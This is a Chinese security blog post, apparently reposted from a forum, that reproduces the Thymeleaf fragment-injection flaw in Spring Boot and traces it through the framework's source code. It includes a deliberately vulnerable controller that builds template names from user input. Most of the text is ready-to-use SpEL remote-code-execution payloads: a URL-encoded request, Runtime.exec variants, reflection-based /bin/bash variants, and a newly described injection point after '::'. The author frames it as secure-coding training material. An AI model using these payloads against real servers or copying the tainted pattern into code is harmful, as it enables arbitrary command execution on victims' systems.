Thymeleaf Fragment 注入漏洞复现及新姿势扩展 - testivy

admin 2021年12月31日14:45:14评论103 views字数 7498阅读24分59秒阅读模式

最近需要给研发部门的开发GG们作一场关于Java安全编码的培训,一方面后端开发使用Springboot+thymeleaf框架较多,因此通过代码示例以及漏洞演示加深理解。借此机会,又再去学习了下大佬们关于Thymeleaf这个漏洞的研究。
本文针对已有payload的执行原理和过程在代码层面进行了一些分析,找出新的注入点并阐述扩展新payload的一些方法和姿势,仅此而已。另外由于Thymeleaf 介绍文章很多,就不赘述了,部分文章和观点给我提供了很多帮助,一并附在最后,就不一一致谢了,最后感谢你们的无私奉献yyds~。

0x01 环境配置

无一例外,我也是参考这个https://github.com/veracode-research/spring-view-manipulation/ 搭建的,核心代码如下:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

正常访问的话其实会看到报错信息,因为拼接后的模板映射到的文件路径->/templates/user/hello/welcome.html 找不到,所以直接会报错。现实中这个漏洞直接利用的场景不太多,几乎都是返回模板展示的动态内容(通常模板文件中用${..}动态渲染变量),而根据输入模板名称动态返回模板文件的场景就不是很多了(~~有争议也别打我,先打开发)。

0x02 Fragment 注入通用payload

如果这里的控制层用的是@Controller 进行注解的话,使用如下的payload 即可触发命令执行。

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

需要注意的是要进行urlencode编码:

http://ip:port/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

发送请求后执行id 命令后回显
Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy
其实后面的.x 不需要也可以,也就是只有:: 这个也是可以的(不过是不返回执行命令后的结果了,写文件是可以的,以下所有payload均不再根据::单独列出),有些文章可是瞎写。例如payload 是这样也是可以的。

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::

虽然报错了,抛出的是fragment section 异常,但前面的代码已经执行完了才会到这一步,后面会有相应的代码分析。
Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy

0x03 关于为什么这里只能用 __${…}__ 而不能是 ${expr}/${{expr}}

首先是被误用,导致后续即使代码不是这样写(这个下文会提到),也都沿用这个方式作为解析必要条件。因为当初这个大佬写的代码中 return的是 "user/" + lang + "/welcome"; 这个代表是/templates/user 目录下的模板,而__${…}__ 是 thymeleaf 中的预处理表达式,也就是先处理这个再把处理后的结果作为参数带入。而因为templateName 已经有"user/" 了所以这里必须用 __${…}__ 包装下才能正常被解析,这个可以从代码中比较直观看出来:

/**  StandardFragmentProcessor  **/
final FragmentSelection fragmentSelection =
                FragmentSelectionUtils.parseFragmentSelection(configuration, processingContext, standardFragmentSpec);

继续调用StandardExpressionPreprocessor#preprocess();
Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy
preprocess(预处理)方法首先会检查input(也就是templateName) 有没有"_" 下划线这个字符,没有的话就直接原样返回了,否则继续往下执行。

final String preprocessedInput =
                StandardExpressionPreprocessor.preprocess(configuration, processingContext, input);
        if (configuration != null) {
            final FragmentSelection cachedFragmentSelection =
                    ExpressionCache.getFragmentSelectionFromCache(configuration, preprocessedInput);
            if (cachedFragmentSelection != null) {
                return cachedFragmentSelection;
            }
        }
final FragmentSelection fragmentSelection =
                FragmentSelectionUtils.internalParseFragmentSelection(preprocessedInput.trim());
/** StandardExpressionPreprocessor **/
static String preprocess(final Configuration configuration,
            final IProcessingContext processingContext, final String input) {

        if (input.indexOf(PREPROCESS_DELIMITER) == -1) {
            // Fail quick
            return input;
        }
    final IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(configuration);
        if (!(expressionParser instanceof StandardExpressionParser)) {
            // Preprocess will be only available for the StandardExpressionParser, because the preprocessor
            // depends on this specific implementation of the parser.
            return input;
        }
//部分省略
    final IStandardExpression expression =
                        StandardExpressionParser.parseExpression(configuration, processingContext, expressionText, false);
                if (expression == null) {
                    return null;
                }

                final Object result =
                    expression.execute(configuration, processingContext, StandardExpressionExecutionContext.PREPROCESSING);
//后续省略

${} 返回preprocessedInput,用__${}__ 返回preprocessedInput2(用以区分)

preprocessedInput="user/${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x/welcome"

if use with __${expr}__ syntax  instead
preprocessedInput2="user/shexxxao::x/welcome"

然后继续运行到internalParseFragmentSelection(),主要实现去除空格等一系列检查任务,重要的一步是检查是否包含“::" 操作符号,这个符号其实是定位符号,用来查找template 中的fragment section 部分。
Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy
其实最早在ThymeleafView#renderFragment()方法中就先判断了viewTemplateName 是否包含"::" 这个操作符号了,否则不会执行上面的parseFragmentSelection()过程,压根不会执行后续的Fragment 表达式解析了。
Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy
也因此为啥称为Fragment 注入,大都很它称为View 注入,当然只是我觉得用Fragment 比较符合这个漏洞产生原理,所以叫啥都行,并不重要。
执行到最后会发现templateNameExpression 为user/${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()} 这个就无法解析,到这里就抛出异常了。(注意另外一个重要的参数—“fragmentSpecExpression”,这个后面也有一轮表达式解析的过程,因此::后面还可以插入表达式)

0x04 新的注入点“::”

在前面提到fragmentSpecExpression,这个其实后面对fragment 的参数进行了解析,核心代码如下:

/** StandardFragmentProcessor **/ 
// Resolve fragment parameters, if specified (null if not)
        final Map<String,Object> fragmentParameters =
                resolveFragmentParameters(configuration,processingContext,fragmentSelection.getParameters());

        if (fragmentSelection.hasFragmentSelector()) {

            final Object fragmentSelectorObject =
                    fragmentSelection.getFragmentSelector().execute(configuration, processingContext);
            if (fragmentSelectorObject == null) {
                throw new TemplateProcessingException(
                        "Evaluation of fragment selector from spec \"" + standardFragmentSpec + "\" " + 
                        "returned null.");
            }

基于此,可以构造如下payload:(ps:由于无法直接回显,所以可以用写文件形式)

666::__${T(java.lang.Runtime).getRuntime().exec("touch 667")}__
//使用时同样需要url编码

可以看到文件已经成功写入。

0x11 环境配置(扩展)

看到大部分文章是这样配置的:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return lang; //template path is tainted
}

同样先正常访问看下响应内容:

0x12 Fragment 注入通用payload1

根据上面分析后,发现其实并不一定需要__${expr}__ 这种方式来包住payload ,可以直接用${expr} 或者${{expr}} 都是可以的。
需要注意的是:除了${expr}以及${{expr}} 可以被Thymeleaf EL 引擎执行外,*{expr}及*{{expr}}也同样可以。
payload1:

${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x
*{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x

payload2:

${{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x
*{{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x

同样能够执行预期结果:
Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy

0x13 Fragment 注入通用payload2

当然也可以用Java 反射来改造payload:

__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

或者减少T(String),即:

__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

Thymeleaf Fragment 注入漏洞复现及新姿势扩展 -  testivy
同理列出其它相似的payload:

a)用${expr}方式:

${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}::x

b)及相应的 *{expr}方式:

*{new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}::x

c)用${{expr}} 方式:

${{new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}}::x

d)及相应的*{{expr}}方式:

*{{new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}}::x

0xFF 参考文献

[1]. https://mp.weixin.qq.com/s/-KJijVbZGo6W7gLcve9IkQ
[2]. https://github.com/veracode-research/spring-view-manipulation/
[3]. https://www.thymeleaf.org/doc/tutorials/3.0/thymeleafspring.html
[4]. https://www.cnblogs.com/hetianlab/p/13679645.html

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:45:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thymeleaf Fragment 注入漏洞复现及新姿势扩展 - testivyhttps://cn-sec.com/archives/709495.html

发表评论

匿名网友 填写信息